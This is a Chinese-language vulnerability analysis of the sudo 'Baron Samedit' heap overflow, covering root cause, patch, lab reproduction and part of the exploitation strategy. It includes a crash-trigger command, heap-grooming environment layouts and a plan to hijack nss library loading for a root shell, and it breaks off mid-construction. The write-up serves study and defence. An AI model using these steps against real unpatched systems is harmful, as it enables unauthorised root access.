漏洞描述: Baron Samedit [sudo in linux]
0x00 漏洞摘要
- 漏洞影响程序 & 版本范围
- sudo 1.8.2 - 1.8.31p2
- sudo 1.9.0 - 1.9.5p1(1.9.5p2安全)
- 可成功验证系统:
- Ubuntu 20.04(Sudo 1.8.31)
- Debian 10(Sudo 1.8.27)
- Fedora 33(Sudo 1.9.2)
- 漏洞类型
- Linux环境下的堆溢出漏洞(off by one, rce)
- 漏洞影响
- 【提权】非root权限的用户在shell中使用默认的sudo配置,无需任何验证信息(包括该用户密码),可获得root权限
- 漏洞成因(原理程度+具体代码程度)
sudo
通过-s
或-i
参数在shell -c
模式下运行命令时会使用反斜杠\
转义特殊字符。但使用-s/-i
参数运行sudoedit
时,实际上并未进行转义。若传入的参数以反斜杠\
结尾,则在插件sudoer
的set_cmnd
函数中向user_args
拷贝参数时,会发生越界拷贝,导致堆溢出
- 漏洞利用关键环节
- 利用新型tcache的特性(tcache bins)
- 巧妙利用linux系统设置
locale
,通过传递LC_
环境变量进行chunk构造 - 利用
nss
库中的nss_load_library
函数来加载伪造库,执行伪造库中的_init
函数实现getshell
0x01 背景知识
程序介绍
sudo
:linux下,使得非root权限用户可以以 root 用户的身份运行某一命令(该用户要添加到/etc/sudoers
文件中,切换时输入该用户的密码)- 类似的
su
则是切换到另一个用户(需要输入待切换用户的密码)
- 类似的
glibc新功能:tcache
-
是glibc2.26+后引进的技术,目的是提升堆管理性能,舍弃了一些安全性
-
tcache功能
- tcache是Per-thread Cache,每个线程拥有一个
- tcache遵循跟fast bins相似的LIFO机制
- tcache针对每个线程创建tcache bins,最多64个,每个bin存放最多7个chunk,最大大小为
0x410
- 优先顺序tcache bins > fast bins(free时先存到tcache,malloc时先从tcache中获取),缓存非large chunk的chunk
-
tcache结构
-
开启tcache时的define,设置了tcache bins的基础信息
#if USE_TCACHE /* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */ # define TCACHE_MAX_BINS 64 # define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1) /* Only used to pre-fill the tunables. */ # define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ) /* When "x" is from chunksize(). */ # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT) /* When "x" is a user-provided size. */ # define usize2tidx(x) csize2tidx (request2size (x)) /* With rounding and alignment, the bins are... idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) idx 1 bytes 25..40 or 13..20 idx 2 bytes 41..56 or 21..28 etc. */ /* This is another arbitrary limit, which tunables can change. Each tcache bin will hold at most this number of chunks. */ # define TCACHE_FILL_COUNT 7 #endif
-
tcache_entry
typedef struct tcache_entry { struct tcache_entry *next; // 指向下一个chunk的fd字段 // fast bin指向的是prev_size } tcache_entry;
-
tcache_prethread_struct
,链表管理结构typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; static __thread tcache_perthread_struct *tcache = NULL;
对每个线程创建的结构
counts
数组记录当前tcache bins个数entries
数组中每个指针指向其对应的tcache bin的chunk块,单链表
-
-
tcache规则
- 从fastbin中取出一块后,剩余部分放入tcache中(small bin也是)
- 遍历unsorted bin后,若tcache bin中有匹配大小的chunk则首先取出
- unsorted达到limit限制时(默认无限制),已经存入过chunk的取出
-
nss
、locale
:linux下配置-
locale
配置介绍-
locale是linux下根据用户的语言和地理位置定义的软件运行时的语言环境,通过环境变量进行设置
pwndbg> p _nl_category_names $1 = { str41 = "LC_COLLATE", str67 = "LC_CTYPE", str140 = "LC_MONETARY", str193 = "LC_NUMERIC", str207 = "LC_TIME", str259 = "LC_MESSAGES", str270 = "LC_PAPER", str279 = "LC_NAME", str292 = "LC_ADDRESS", str311 = "LC_TELEPHONE", str322 = "LC_MEASUREMENT", str330 = "LC_IDENTIFICATION" }
LANG
开头的是进行语言&编码设置,zh_CN.UTF-8
LC_ALL
可通过setlocale
进行设置,其值可以覆盖所有其他的locale
设定,空白则设置为C
LC_XXX
详细设定locale
的各个方面,可以覆盖LANG
的值- 当
LC_ALL/LANG
被设置为C
的时候,LANGUAGE
的值将会被忽略 - 在程序动态调试中可通过
_nl_category_names
查看
-
language
是ISO 639-1标准中定义的双字母的语言代码,territory
是ISO 3166-1标准中定义的双字母的国家和地区代码,codeset
是字符集的名称 (如 UTF-8等),而modifier
则是某些locale
变体的修正符language[_territory[.codeset]][@modifier]
-
-
nss
解析介绍-
nss介绍
全称为Name Service Switch,是解析name类型字符串的c语言库
-
ls -alg
: 系统中只保存了用户和用户组的id
,要想显示与之相关的字符这就需要nss
进行解析 -
通过
/etc/nsswitch.conf
进行配置左边是支持的服务
service
,右边是定义的查找范围- 对于每个
service
都必须有文件libnss_service.so.2
与之对应 - 例如
group
数据库定义了查找规范files
,那么在调用getgroup
函数的时候就会调用libnss_files.so.2
中的__nss_lookup_function
函数进行查找
# /etc/nsswitch.conf # # Example configuration of GNU Name Service Switch functionality. # If you have the `glibc-doc-reference' and `info' packages installed, try: # `info libc "Name Service Switch"' for information about this file. passwd: files systemd group: files systemd shadow: files gshadow: files hosts: files dns networks: files protocols: db files services: db files ethers: db files rpc: db files netgroup: nis
libnss_compat-2.31.so libnss_compat.so libnss_compat.so.2 libnss_dns-2.31.so libnss_dns.so libnss_dns.so.2 libnss_files-2.31.so libnss_files.so libnss_files.so.2 libnss_hesiod-2.31.so libnss_hesiod.so libnss_hesiod.so.2 libnss_nis-2.31.so libnss_nis.so libnss_nis.so.2 libnss_nisplus-2.31.so libnss_nisplus.so libnss_nisplus.so.2 libnss_systemd.so.2
- 对于每个
-
-
-
0x02 复现环境
环境配置
由于本地环境暂时没有满足要求的可用虚拟机,这里采用virtual box的Ubuntu 20.04LTS虚拟机环境进行复现
# 确保开通root用户后,关闭aslr
sudo echo 0 > /proc/sys/kernel/randomize_va_space
编译并安装1.8.31p1
版本的sudo
wget https://www.sudo.ws/dist/sudo-1.8.31p1.tar.gz
tar -xzvf sudo-1.8.31p1.tar.gz
cd sudo-1.8.31p1
mkdir build
cd build
../configure --enable-env-debug
make -j
sudo make install
# 完成后即可通过gdb动态调试
su test # 切换到非root用户
sudo gdb --args sudoedit -s '\' `perl -e 'print "A" x 65536'`
查看系统相关信息:
# sudo --version
Sudo version 1.8.31
# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04 LTS
Release: 20.04
Codename: focal
系统glibc版本为2.31
,有新增的tcache功能且默认开启
$ ldd --version
ldd (Ubuntu GLIBC 2.31-0ubuntu9) 2.31
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
创建非root用户test
用于复现
useradd test
passwd test # 设置密码
su test # 切换用户
所需程序&repo安装
sudo apt install -y make gcc git python3 python3-pip#with libheap & gef
git clone
0x03 漏洞机理
为了方便分析,获取对应sudo1.8.31的源码进行分析
-
源码追踪
首先在目录下根据经验访问
src/
下找到sudo.h
和sudo.c
,认为应该为入口源码(或者通过接收输入参数的相关关键词搜寻)-
在
sudo.h
中可以看到各种define了各种标志位的对应值,其中这些MODE_
开头的标志位中重点关注/* * Various modes sudo can be in (based on arguments) in hex */ #define MODE_RUN 0x00000001 #define MODE_EDIT 0x00000002 #define MODE_VALIDATE 0x00000004 #define MODE_INVALIDATE 0x00000008 #define MODE_KILL 0x00000010 #define MODE_VERSION 0x00000020 #define MODE_HELP 0x00000040 #define MODE_LIST 0x00000080 #define MODE_CHECK 0x00000100 #define MODE_MASK 0x0000ffff /* Mode flags */ /* XXX - prune this */ #define MODE_BACKGROUND 0x00010000 #define MODE_SHELL 0x00020000 #define MODE_LOGIN_SHELL 0x00040000 #define MODE_IMPLIED_SHELL 0x00080000 #define MODE_RESET_HOME 0x00100000 #define MODE_PRESERVE_GROUPS 0x00200000 #define MODE_PRESERVE_ENV 0x00400000 #define MODE_NONINTERACTIVE 0x00800000 #define MODE_LONG_LIST 0x01000000
-
在
sudo.c
中找到main
函数,可以看到在初始配置并获取一些配置文件之后,通过parse_args
函数parse
了命令行参数,赋给sudo_mode
并输出信息int main(int argc, char *argv[], char *envp[]) { /*...*/ /* Disable core dumps if not enabled in sudo.conf. */ if (sudo_conf_disable_coredump()) disable_coredump(); /* Parse command line arguments. */ sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add); sudo_debug_printf(SUDO_DEBUG_DEBUG, "sudo_mode %d", sudo_mode); /* Print sudo version early, in case of plugin init failure. */ if (ISSET(sudo_mode, MODE_VERSION)) { printf(_("Sudo version %s\n"), PACKAGE_VERSION); if (user_details.uid == ROOT_UID) (void) printf(_("Configure options: %s\n"), CONFIGURE_ARGS); }
-
追踪定义,在
parse_args.c
中定位到parse_args
函数,其中代码检测是否开启MODE_RUN
和MODE_SHELL(MODE_LOGIN_SHELL)
标志位,若满足条件,检测argv
中字符,若有字母数字_-$
之外的字符,在其前添加转义符号\
,重写argv
/* * Command line argument parsing. * Sets nargc and nargv which corresponds to the argc/argv we'll use * for the command to be run (if we are running one). */ int parse_args(int argc, char **argv, int *nargc, char ***nargv, struct sudo_settings **settingsp, char ***env_addp) { int mode = 0; /* what mode is sudo to be run in? */ int flags = 0; /* mode flags */ ... 通过sudoedit发起时,模式为MODE_EDIT /* First, check to see if we were invoked as "sudoedit". */ proglen = strlen(progname); if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { progname = "sudoedit"; mode = MODE_EDIT; sudo_settings[ARG_SUDOEDIT].value = "true"; } 当-i、-s时,开启MODE_SHELL标志位 ... case 'i': sudo_settings[ARG_LOGIN_SHELL].value = "true"; SET(flags, MODE_LOGIN_SHELL); break; case 's': sudo_settings[ARG_USER_SHELL].value = "true"; SET(flags, MODE_SHELL); .... if (ISSET(flags, MODE_LOGIN_SHELL)) { SET(flags, MODE_SHELL); } /* * For shell mode we need to rewrite argv */ // 若shell模式-c参数下运行,会重写参数 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { char **av, *cmnd = NULL; int ac = 1; if (argc != 0) { /* shell -c "command" */ char *src, *dst; size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) + strlen(argv[argc - 1]) + 1; cmnd = dst = reallocarray(NULL, cmnd_size, 2); if (cmnd == NULL) sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory")); if (!gc_add(GC_PTR, cmnd)) exit(1); //字符转义!用"\" for (av = argv; *av != NULL; av++) { for (src = *av; *src != '\0'; src++) { /* quote potential meta characters */ if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$') *dst++ = '\\'; *dst++ = *src; } *dst++ = ' '; } if (cmnd != dst) dst--; /* replace last space with a NUL */ *dst = '\0'; ac += 2; /* -c cmnd */ } // 重新写argv, 保存在av中 av = reallocarray(NULL, ac + 1, sizeof(char *)); if (av == NULL) sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory")); if (!gc_add(GC_PTR, av)) exit(1); av[0] = (char *)user_details.shell; /* plugin may override shell */ if (cmnd != NULL) { av[1] = "-c"; av[2] = cmnd; } av[ac] = NULL; argv = av; argc = ac; }
-
回到
sudo.c
,刚刚将parse_args
函数处理对特殊字符转义后的结果反馈给sudo_mode
。接下来进行插件加载,调用load_plugins.c
中的sudo_load_plugins
,默认为加载sudoers
插件。// in sudo.c /* Parse command line arguments. */ sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add); sudo_debug_printf(SUDO_DEBUG_DEBUG, "sudo_mode %d", sudo_mode); /* Load plugins. */ if (!sudo_load_plugins(&policy_plugin, &io_plugins)) sudo_fatalx(U_("fatal error, unable to load plugins")); 在刚刚的parse_args函数调用之后 .... /* Open policy plugin. */ ok = policy_open(&policy_plugin, settings, user_info, envp); if (ok != 1) { if (ok == -2) usage(1); else sudo_fatalx(U_("unable to initialize policy plugin")); }
-
sudo_load_plugins
读取sudo
的配置文件加载插件,若没有(即默认情况)只加载sudoers
// load_plugins.c bool sudo_load_plugins(struct plugin_container *policy_plugin, struct plugin_container_list *io_plugins) { ...check_policy是函数指针 if (policy_plugin->u.policy->check_policy == NULL) { sudo_warnx(U_("policy plugin %s does not include a check_policy method"), policy_plugin->name); ret = false; goto done; ...}
-
上面的
check_policy
对应sudoers
的policy.c
中调用sudoers_policy_check
函数,调用了sudoers.c
中的sudoers_policy_main
函数// plugins/sudoers/policy.c static int sudoers_policy_check(int argc, char * const argv[], char *env_add[], char **command_infop[], char **argv_out[], char **user_env_out[]) { ... ret = sudoers_policy_main(argc, argv, 0, env_add, false, &exec_args); ... }
-
观察到在
sudoers_policy_main
中调用了set_cmnd
函数// plugins/sudoers/sudoers.c int sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[], bool verbose, void *closure) { ... /* Find command in path and apply per-command Defaults. */ cmnd_status = set_cmnd(); if (cmnd_status == NOT_FOUND_ERROR) goto done; ... }
-
「漏洞点」
set_cmnd
中根据标志位,设置user_
开头的多个变量值。下面的片段将复制的argv
(这里称为NewArgv
)赋值给user_args
。/* * Fill in user_cmnd, user_args, user_base and user_stat variables * and apply any command-specific defaults entries. */ static int set_cmnd(void) { ... if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { /* set user_args */ if (NewArgc > 1) { char *to, *from, **av; size_t size, n; /* Alloc and build up user_args. */ for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1; // 这里看到user_args申请了和argv中参数相同的大小的堆空间 // NewArgv是前面sudoers_policy_main函数中处理过的,复制了argv的内容 // special handling for pseudo-commands and '-i' if (size == 0 || (user_args = malloc(size)) == NULL) { sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(-1); } if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces * for sudoers matching and logging purposes. */ //这里!!!!!依次将命令行参数链接到user_args中 for (to = user_args, av = NewArgv + 1; (from = *av); av++) { while (*from) { if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++; *to++ = *from++; } *to++ = ' '; } *--to = '\0'; } else { for (to = user_args, av = NewArgv + 1; *av; av++) { n = strlcpy(to, *av, size - (to - user_args)); if (n >= size - (to - user_args)) { sudo_warnx(U_("internal error, %s overflow"), __func__); debug_return_int(-1); } to += n; *to++ = ' '; } *--to = '\0'; } } } }
-
-
漏洞触发
-
如何满足漏洞点处的触发条件?
static int set_cmnd(void){ ..... //获取所有命令行参数的长度 for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1; if (size == 0 || (user_args = malloc(size)) == NULL) { sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(-1); } //将命令行参数复制到user_args for (to = user_args, av = NewArgv + 1; (from = *av); av++) { while (*from) { //漏洞点,当以反斜杠结尾时造成heap overflow // sud程序默认每个反斜杠之后必然跟着元字符 // 命令行参数以反斜杠结尾from[0]='\\', from[1]=null,满足条件 if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++; // 指向null *to++ = *from++; //继续加,越过null了,溢出 // while循环越界拷贝,内容写入user_args堆块 } *to++ = ' '; } *--to = '\0';
-
但根据代码,理论在设置了
MODE_SHELL(MODE_LOGIN_SHELL)
的条件下任何命令行参数都不可能以单个\
结尾,因为其在parse_args
函数中会对所有的元字符进行转义包括这个\
-
对比
set_cmnd
函数进行复制 与parse_args
函数进行转义 时的标志位if
条件,得知不设置MODE_RUN
标志位而改为设置MODE_EDIT
或MODE_CHECK
标志位可达到目的// parse_args if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)){} // set_cmnd if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)){ } }
- 即不设置
MODE_RUN
的话,parse_args
转义条件不满足,但set_cmnd
函数中只要MODE_EDIT
或MODE_CHECK
标志位被触发,复制的条件依然可以满足,可以成功触发漏洞
- 即不设置
-
从
sudo.c
的main
函数中再次查看设置标志位的条件,通过-e
、-l
可以设置MODE_EDIT/MODE_CHECK
两个标志位,并且设置了MODE_SHELL/MODE_LOGIN_SHELL
的话,在后续会被检测到并退出-
具体
-e
、-l
代码case 'e': if (mode && mode != MODE_EDIT) usage_excl(1); mode = MODE_EDIT; sudo_settings[ARG_SUDOEDIT].value = "true"; valid_flags = MODE_NONINTERACTIVE; break; case 'l': if (mode) { if (mode == MODE_LIST) SET(flags, MODE_LONG_LIST); else usage_excl(1); } mode = MODE_LIST; valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST; break; if (argc > 0 && mode == MODE_LIST) mode = MODE_CHECK;
// parse_args.c parse_args函数中 if ((flags & valid_flags) != flags) usage(1); // 打印usage,退出
-
-
但也有例外,通过搜寻
MODE_EDIT
相关交叉引用,发现sudoedit
执行时,同样也在parse_args
函数中也可以设置mode=MODE_EDIT
,同时没有设置valid_flags
,遇到上面的代码也不会检测退出,可以执行实现堆溢出// parse_args.c /* First, check to see if we were invoked as "sudoedit". */ proglen = strlen(progname); if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { progname = "sudoedit"; mode = MODE_EDIT; sudo_settings[ARG_SUDOEDIT].value = "true"; }
-
因此,通过
sudo edit -s
可以成功设置MODE_EDIT
和MODE_SHELL
标志位,同时避免了设置MODE_RUN
,也不会被检测退出。如图,参数仅为
\
,且发送一个超长AAAAA
指令,可以成功崩溃$ sudoedit -s '\' `python3 -c 'print("A"*65536)'` malloc(): corrupted top size Aborted
-
-
漏洞触发 - 可利用理由
-
通过
sudoedit -s
跟着的参数可以控制user_args
占用的堆块大小 -
通过环境变量配置
env -i
可以填入user_args
堆块之后的out-of-bound位置 -
在环境变量中通过以\结尾,可以跳转到下一个环境变量
-
漏洞点位置的
from[0] = ‘\\’, from[1] = null
说明可以跳过单\
字符插入0x0
并不终止程序char *args[] = { "/usr/bin/sudoedit", "-s", "AAAAAAAA", NULL }; char *env[] = { "BBBBBBBB", "\\", "\\", "CCCCCCCC", NULL } // 这里两个backslash可插入两个null bytes execve("/usr/bin/sudoedit", argv, env);
-
-
漏洞触发 - 输入
env -i
设置的环境变量实际上在sudoedit
的参数末尾之后的位置进行存储- 由于堆中chunk的头大小为
0x10
,对齐为0x10
env -i 'A=BBBB' sudoedit -s 'CCCCCCCCCCCCCCCC'
将0x10
字节填入user_args
,环境变量的0x6
字节则填入接下来的位置env -i 'A=BB' sudoedit -s 'CCCCBBBBBBBB’
仅输入0x10
字节,
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\' --|--------+--------+--------+--------|--------+--------+--------+--------+-- | | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.| --|--------+--------+--------+--------|--------+--------+--------+--------+-- head <---- user_args buffer ----> size fd bk
- 一个char字符 - 1字节 - 2个16进制字符 - 8个2进制字符
- 由于堆中chunk的头大小为
-
补丁分析
补丁在以下链接中可以查看到
可以看到对刚刚出问题
set_cmnd
函数的标志位if
检查重新写了逻辑。- 刚刚通过
sudoedit
的方式是开启MODE_EDIT
、MODE_SHELL
和MODE_CHECK
,绕过parse_args
函数进行参数转义的判断,同时能运行set_cmnd
函数进行堆溢出。 - 而打补丁后的程序对
set_cmnd
函数进入原堆溢出点的if
条件进行修改,增加了对MODE_RUN
的判断,该模式只有通过sudo
而非sudoedit
运行时才满足,因此原方式失效
- 刚刚通过
0x04 漏洞利用
利用所需信息获取
-
从输入到触发漏洞前后的堆操作轨迹
main函数在调用
parse_args
对输入参数进行处理前,进行了什么操作// sudo.c的main函数中 // 漏洞触发前 setlocale(LC_ALL, ""); bindtextdomain(PACKAGE_NAME, LOCALEDIR); textdomain(PACKAGE_NAME); //... /* Fill in user_info with user name, uid, cwd, etc. */ if ((user_info = get_user_info(&user_details)) == NULL) exit(EXIT_FAILURE); /* get_user_info printed error message */ /* Disable core dumps if not enabled in sudo.conf. */ if (sudo_conf_disable_coredump()) disable_coredump(); // 紧接着的就是parse_args函数 /* Parse command line arguments. */ sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add); sudo_debug_printf(SUDO_DEBUG_DEBUG, "sudo_mode %d", sudo_mode);
-
setlocale
函数中进行了哪些堆操作malloc
并free
了LC_CTYPE
、LC_MESSAGES
、LC_TIME
等多个环境变量,申请的chunk大小很小,free后归属于tcache bin -
get_user_info
函数:调用nss服务【💖】malloc(0x100) malloc(0x400) malloc(0x1d8)// tcache malloc(0x10) malloc(0x78)// 固定0x80 // 释放 malloc(0x1000) malloc(0x17)// 以下均为固定申请,且不会释放 malloc(0x36) malloc(0x38) malloc(0x16) malloc(0x36)// group files
-
-
查找可控数据结构(仅通过人工分析较复杂,作者是通过类似fuzzing方式获得多个crash,通过回放trace锁定这3个数据结构)
-
sudo_hook_entry
-
def_timestampdir
-
service_user
innss
开启ASLR,通过前两个变量进行利用需要爆破地址,且目前仅在一个系统环境下复现成功。这个三种环境都支持且不需要爆破
-
基于上述3个可控数据结构,原作者提出了3种exp方案。具体讨论第3种
可控数据结构:service_user
变量分析
-
**目的:**探索
service_user
可通过什么方式getshell -
libc
中nss
过程里对service_user
变量的操作分析https://elixir.bootlin.com/glibc/glibc-2.31/source/nss/nsswitch.c#L401
-
service_user
结构typedef struct service_user { /* And the link to the next entry. */ struct service_user *next; /* Action according to result. */ lookup_actions actions[5]; /* Link to the underlying library object. */ service_library *library; /* Collection of known functions. */ void *known; /* Name of the service (`files', `dns', `nis', ...). */ char name[0]; } service_user;
-
glibc-2.31/nss/nsswitch.c
中运行__nss_lookup_function
函数→nss_load_library
函数static int nss_load_library (service_user *ni) { if (ni->library == NULL) { // 这里!!! static name_database default_table; ni->library = nss_new_service (service_table ?: &default_table, ni->name); if (ni->library == NULL) return -1; } if (ni->library->lib_handle == NULL) { /* Load the shared library. */ size_t shlen = (7 + strlen (ni->name) + 3 + strlen (__nss_shlib_revision) + 1); int saved_errno = errno; char shlib_name[shlen]; /* Construct shared object name. */ __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, "libnss_"), ni->name), ".so"), // 字符串拼接 __nss_shlib_revision); ni->library->lib_handle = __libc_dlopen (shlib_name); //加载动态链接库
若
ni->library = NULL
,则会调用nss_new_service
函数为其分配一个堆块,并对该service_user
的name,lib_handle,next
进行赋值完成后进入
if (ni->library->lib_handle == NULL)
分支,对name
进行字符串拼接,也就是libnss_+name+'.so.2
’,之后才通过__libc_dlopen
函数加载该动态链接库
-
可能的getshell思路
ni->library->lib_handle = __libc_dlopen(shlib_name)
加载自定义的.so.2
库:- 通过溢出更改
libnss_xxx.so.2
的xxx
即name
部分为x/x
,可变成libnss_x/x.so.2
,其他部分为00000
- 将
getshell
的代码写入_init
之后编译为动态链接库,即可获得shell
- 通过溢出更改
-
-
从
sudo
程序通过get_user_info
函数调用nss
服务的分析-
在
sudo.c:191
会调用get_user_info
函数获取用户信息,需要通过nss
服务获取用户的用户名和口令信息(passwd
对应的服务规范,在函数中会调用根据配置文件初始化group files
等服务规范)-
动态分析,配置文件中所有的服务规范全部处理完毕之后,生成链表依次存储每个服务,表头存储在
libc
中。通过搜索固定的passwd
等服务,可以通过链表结构追溯到我们想要替换的nssservice_user
pwndbg> p &service_table $52 = (name_database **) 0x7ffff7f457a8 <service_table> pwndbg> p *service_table $53 = { entry = 0x5555555829d0, library = 0x0 } pwndbg> p *service_table->entry $54 = { next = 0x555555582a70, service = 0x5555555829f0, name = 0x5555555829e0 "passwd" } pwndbg> p *service_table->entry->next $55 = { next = 0x5555555885b0, service = 0x555555588530, name = 0x555555582a80 "group" } pwndbg> p *service_table->entry->next->service $56 = { next = 0x555555588570, actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN}, library = 0x0, known = 0x0, name = 0x555555588560 "files" }
-
-
可操作free原语:setlocale
配置
-
刚刚分析最终getshell需要的
service name
数据结构与user_args
结构通过什么方式布局相邻?- 为了防止溢出过程中覆写中间的关键结构体,
user_args
与service_user
之间的距离要尽可能的小,最好的方法就是在service_user
上方人为释放一个堆块,之后user_args
再申请该堆块进行溢出
- 为了防止溢出过程中覆写中间的关键结构体,
-
sudo
在main
函数的起始位置sudo.c:154
调用了setlocale(LC_ALL, "");
函数- 其中
locale=""
表示根据环境变量来设置locale
- 该过程中申请和释放大量的堆块。
- 其中
-
setlocale(LC_ALL, "")
函数源码分析malloc
并free
了LC_CTYPE
、LC_MESSAGES
、LC_TIME
等多个环境变量,申请的chunk大小很小,free后归属于tcache bin//setlocale(LC_ALL, ""); //glibc/locale/setlocale.c char * setlocale (int category, const char *locale) { ... if (category == LC_ALL) { //... /* Load the new data for each category. */ while (category-- > 0) if (category != LC_ALL) { // 循环查找环境变量中的LC*环境变量的值,并根据优先级顺序进行加载,环境变量的值会存储在newnames中 newdata[category] = _nl_find_locale (locale_path, locale_path_len, category, &newnames[category]); //... } /* Create new composite name. */ composite = (category >= 0 ? NULL : new_composite_name (LC_ALL, newnames)); if (composite != NULL) { //setname&setdata,即为_nl_global_locale.__names数组赋值,该数组中存储有所有的环境变量的值 // 如果数组中原来存储有值,且不是默认的"C",那么会释放原有的堆块 } else for (++category; category < __LC_LAST; ++category) if (category != LC_ALL && newnames[category] != _nl_C_name && newnames[category] != _nl_global_locale.__names[category]) free ((char *) newnames[category]);// 释放所有的newnames即环境变量的值 //... return composite; } else { //... } } libc_hidden_def (setlocale)
-
setlocale
函数逻辑总结setlocale
函数通过_nl_find_locale
函数加载环境变量-
若传入的参数是
NULL
- 返回
_nl_global_locale.__names
数组中对应的值即相应的LC_*
的值
- 返回
-
如果传入的参数是
“”
- 那么就会根据环境变量设置
_nl_global_locale.__names
中的值
- 那么就会根据环境变量设置
-
函数最主要的是进入了一个
while
循环:-
每次调用
_nl_find_locale
函数首先从环境变量中按照优先级顺序加载相应的环境变量 -
然后根据环境变量从
/usr/lib/locale
中查找有没有对应的文件。这里会根据mask
的值控制加载的优先级,加载文件// 格式:language[_territory[.codeset]][@modifier] // C.UTF-8@aaaa mask = _nl_explode_name (loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset);
- 如果没有对应的文件就会返回
NULL
- 如果没有对应的文件就会返回
-
-
_nl_find_locale
函数返回值- 为
NULL
的时候while
循环就会终止,此时category>0
,那么这里就表明加载环境变量出现了错误,会释放之前申请的所有的newnames
,也就是环境变量中的值比如C.UTF-8[@aaaa](https://github.com/aaaa)
- 否则当
while
循环执行完毕之后就会将所有的_nl_global_locale.__names
数组中对应的值设置为我们输入的值,然后将LC_ALL
赋值
- 为
-
-
free
原语获取- 目标:设置
n
个size
大小的堆块- 就设置
n
个环境变量(注意顺序,环境变量从后向前开始加载) - 环境变量的值为
C.UTF-8[@len](https://github.com/len)
,其中len
的大小满足> size-0x20 & < size-0x10
- 就设置
- 注意一个问题:
- 路径拼接,导致在进行环境变量加载的过程中
- 大小为
size
的堆块,释放一个size+0x10
大小的堆块 - 相同
size
大小的会复用同一个堆块 - 因此,
tcache
中不同size
大小的堆块只会额外产生1
个size+0x10
大小的堆块
- 大小为
- 对于
size
比较小的堆块,由于getlocale
中堆块的申请很多,因此可能会被申请回去,目前可以肯定的是对于0x80
或者大于0x80
的附加堆块会保存在tcache
中
- 路径拼接,导致在进行环境变量加载的过程中
- 目标:设置
实现布局的操作步骤
-
首先main函数中会调用无参数
setlocale
函数,通过命令行输入设置环境变量,可以配置LC_ALL
环境变量申请并释放一块chunk"sudoedit", "-s", smash_a, "\\", smash_b, NULL, envp
-
分配
service_user
结构; -
控制输入参数的长度
0x80
,使得user_args
占据LC_ALL
释放后的空闲chunk,布局在service_user
相邻前方(0x20) tcache_entry[0](1): 0x5555555814a0 (0x40) tcache_entry[2](3): 0x55555557ff40 --> 0x555555580620 --> 0x555555581380// group files (0x70) tcache_entry[5](1): 0x555555580cb0 // 环境变量释放产生的0x70堆块 (0x80) tcache_entry[6](1): 0x555555580a90 // user_args堆块 (0x1e0) tcache_entry[28](1): 0x55555557f2a0 (0x410) tcache_entry[63](1): 0x55555557f500
- 由于在
setlocale
函数中还有很多小堆块的操作user_args
堆块0x555555580a90
group files
堆块0x555555581380
- 两堆块之间的差值是
0x8f0
,我们需要覆写这些长度。中间这些堆块都是在libc中进行setlocale
中产生的,对之后的程序进行没有影响,可以直接覆写
- 由于在
-
user_args
溢出并覆盖第1个service_user
结构,覆盖service_user->name
字段,为伪造库名xx/xx.so.2
pwndbg> telescope 0x7ffc304d1a18 // argv存储位置
00:0000│ rdx 0x7ffc304d1a18 —▸ 0x7ffc304d1df6 ◂— 'sudoedit'
01:0008│ 0x7ffc304d1a20 —▸ 0x7ffc304d1dff ◂— 0x414141414100732d /* '-s' */
02:0010│ 0x7ffc304d1a28 —▸ 0x7ffc304d1e02 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\'
03:0018│ 0x7ffc304d1a30 —▸ 0x7ffc304d1e3c ◂— 0x424242424242005c /* '\\' */
04:0020│ 0x7ffc304d1a38 —▸ 0x7ffc304d1e3e ◂— 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\\'
05:0028│ 0x7ffc304d1a40 ◂— 0x0
